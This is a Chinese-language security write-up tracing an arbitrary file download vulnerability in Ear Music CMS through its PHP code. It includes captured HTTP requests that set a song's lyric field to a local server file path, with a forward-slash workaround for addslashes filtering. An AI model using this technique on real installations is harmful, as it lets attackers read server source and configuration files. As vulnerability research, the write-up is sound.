Ear Music CMS任意文件下载漏洞
用注册的用户上传一首歌,并且用管理员账号通过审核,查看歌曲点击下载lrc歌词,抓包:
GET /earmus/template/default/source/down.php?type=lrc&id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/earmus/index.php/music/1/
Connection: close
跟踪用到的down.php文件:
<?php
include '../../../source/system/db.class.php';
$type = SafeRequest("type","get");
$id = SafeRequest("id","get");
if($type == 'lrc'){
$file = geturl(getfield('music', 'in_lyric', 'in_id', $id), 'lyric');//$file变量来自此处,跟踪一下处理函数
}else{
$file = geturl(getfield('video', 'in_play', 'in_id', $id));
}
$headers = get_headers($file, 1);
if(array_key_exists('Content-Length', $headers)){
$filesize = $headers['Content-Length'];
}else{
$filesize = strlen(@file_get_contents($file));
}
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($file));
header("Content-Length: ".$filesize);
readfile($file);//此处有readfile函数,变量为$file
?>
PHP readfile() 函数:读取一个文件,并写入到输出缓冲。
函数跟踪:
- getfield:
function getfield($table, $target, $object, $search, $null=0){
global $db;
$sql = "select ".$target." from ".tname($table)." where ".$object."='".$search."'";//注意此处的sql语句,打开数据库跟踪一下
if($one = $db->getone($sql)){
$field = $one;
}else{
$field = $null;
}
return $field;
}
注意我标注的地方lyric,就是最终查询的结果,返回值会返回歌词地址
- geturl:
function geturl($file, $type=''){
if(preg_match('/^data\/attachment/', $file)){//从得到的歌词地址中判断是否有该目录,基本就可以跳过了
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH.$file;
}elseif(empty($file)){//我们的变量不为空,也跳过
switch($type){
case 'lyric':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/nolyric.lrc";
break;
case 'cover':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/nocover.png";
break;
case 'avatar':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/noavatar.jpg";
break;
case 'photo':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/nophoto.png";
break;
default:
$url = NULL;
break;
}
}else{
$url = $file;//也就是最终走到的是这一步
}
return $url;
}
也就是说到了最后,返回值依然是歌词的路径地址
然后我们来读一下这个文件:E:\phpstudy\PHPTutorial\WWW\earmus\source\system\function_common.php
在提交页面抓包看一下我们传入的地址有没有经过过滤:
GET /earmus/source/user/music/ajax.php?ac=add&name=%u97F3%u4E50%u540D%u79F0%3A&classid=1&audio=%u97F3%u4E50%u540D%u79F0%3A&specialid=0&singerid=0&tag=%u97F3%u4E50%u540D%u79F0%3A&cover=%u97F3%u4E50%u540D%u79F0%3A&lyric=E%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Cearmus%5Csource%5Csystem%5Cfunction_common.php&text=%u97F3%u4E50%u540D%u79F0%3A HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/earmus/user.php/music/add/
Cookie: in_userid=1; in_username=admin; in_userpassword=7a57a5a743894a0e; PHPSESSID=t56rr3oqmer9ntnprhd41mlqd0
Connection: close
跟踪页面:/earmus/source/user/mu0sic/ajax.php
function SafeRequest($key, $mode, $type=0){
$magic = get_magic_quotes_gpc();
switch($mode){
case 'post':
$value = isset($_POST[$key]) ? $magic ? trim($_POST[$key]) : addslashes(trim($_POST[$key])) : NULL;
break;
case 'get':
$value = isset($_GET[$key]) ? $magic ? trim($_GET[$key]) : addslashes(trim($_GET[$key])) : NULL;
break;
}
return $type ? $value : htmlspecialchars(str_replace('\\'.'\\', '', $value), ENT_QUOTES, set_chars());
}
//trim() 函数移除字符串两侧的空白字符或其他预定义字符。
//addslashes会将\给转义掉
经过addslashes处理斜杠没了我们可以改用**/**:E:/phpstudy/PHPTutorial/WWW/earmus/source/system/function_common.php